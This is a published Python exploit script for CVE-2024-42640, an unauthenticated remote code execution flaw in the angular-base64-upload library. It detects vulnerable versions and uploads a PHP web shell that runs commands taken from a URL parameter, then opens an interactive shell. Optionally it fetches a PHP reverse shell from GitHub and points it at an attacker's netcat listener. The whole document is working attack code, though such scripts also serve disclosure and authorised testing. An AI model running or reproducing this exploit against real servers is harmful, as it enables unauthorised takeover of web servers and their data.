# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
# Date: 10 October 2024
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9)
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9)
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
# Software Link: https://github.com/adonespitogo/angular-base64-upload
# Version: prior to v0.1.21
# Tested on: Arch Linux
# CVE : CVE-2024-42640
# Severity: Critical - 10.0 (CVSS 4.0)
# Github Link : https://github.com/rvizx/CVE-2024-42640
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
import re
import subprocess
import requests
import sys
import os
import uuid
import base64
import cmd
from urllib.parse import urlparse
def banner():
print('''
\033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
\033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
https://github.com/rvizx/\033[0mCVE-2024-42640
''')
def check_version(target):
response = requests.get(target)
first_line = response.text.splitlines()[0].strip()
match = re.search(r'v0\.(1|0)\.(\d+)', first_line)
if match:
version = match.group(0)
x_value = int(match.group(1))
if x_value <= 20:
print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}")
else:
print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}")
exit()
else:
print("\033[91m[err]:\033[0m couldn't find the version")
def enum(url):
print("\033[94m[inf]:\033[0m enumerating... ")
target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js"
r = requests.head(target)
if r.status_code == 200:
print("\033[94m[inf]:\033[0m target is using bower_components")
check_version(target)
else:
print("\033[94m[inf]:\033[0m target is not using bower_components")
target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js"
r = requests.head(target)
if r.status_code == 200:
print("\033[94m[inf]:\033[0m target is using node_modules")
check_version(target)
else:
print("\033[94m[inf]:\033[0m target is not using node_modules")
print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js")
print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
print("\033[91m[err]:\033[0m exiting..")
exit()
exploit(target)
class CmdShell(cmd.Cmd):
username = subprocess.check_output("whoami", shell=True).strip().decode()
domain = urlparse(sys.argv[1]).netloc
prompt = f"{username}@{domain} > "
def __init__(self, payload_url):
super().__init__()
self.payload_url = payload_url
def default(self, line):
url = f"{self.payload_url}?cmd={line}"
try:
response = requests.get(url)
print(response.text)
except requests.RequestException as e:
print("\033[91m[err]:\033[0m {e}")
def do_exit(self, arg):
return True
def exploit(target):
print(f"[dbg]: {target}")
target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php")
print(f"[dbg]: {target_server_url}")
payload_name = str(uuid.uuid4())+".php"
if len(sys.argv) > 2:
if sys.argv[2] == "--rev":
revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
port = input("\033[93m[ins]:\033[0m enter listenter port: ")
print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
input("\033[93m[ins]:\033[0m press enter to continue...")
print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
response = requests.get(revshell)
if response.status_code == 200:
payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input
with open(payload_name, "w") as file:
file.write(payload)
payload_url = upload_to_server(payload_name,target_server_url)
print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
r = requests.get(payload_url)
if r.status_code == 200:
print("\033[94m[inf]:\033[0m process complete!")
else:
print("\033[91m[err]:\033[0m something went wrong!")
print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
else:
print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
print("\033[91m[err]:\033[0m exiting..")
exit()
else:
payload = "<?php if($_GET['cmd']) {system($_GET['cmd']);} ?>"
with open(payload_name, "w") as file:
file.write(payload)
payload_url = upload_to_server(payload_name,target_server_url)
cmd_shell = CmdShell(payload_url)
cmd_shell.cmdloop()
def upload_to_server(payload_name,target_server_url):
try:
with open(payload_name, 'rb') as file:
file_content = file.read()
base64_payload = base64.b64encode(file_content).decode('utf-8')
headers = {
'Content-Type': 'application/json',
}
json_data = {
'base64': base64_payload,
'filename': payload_name,
}
response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
updemo_endpoint = f"uploads/{payload_name}"
print(f"[dbg]: {updemo_endpoint}")
payload_url = target_server_url.replace("server.php",updemo_endpoint)
print(f"[dbg]: {payload_url}")
if response.status_code == 200:
print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}")
return payload_url
else:
print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server")
exit()
except Exception as e:
print(f"\033[91m[err]:\033[0m {e}")
exit()
if __name__ == "__main__":
try:
banner()
if len(sys.argv) > 1:
url = sys.argv[1]
print(f"\033[94m[inf]:\033[0m target: {url}")
enum(url)
else:
print("[usg]: ./exploit.py <target-url>")
print("[usg]: ./exploit.py <target-url> --rev")
exit()
except Exception as e:
print(f"\033[91m[err]:\033[0m {e}")
exit()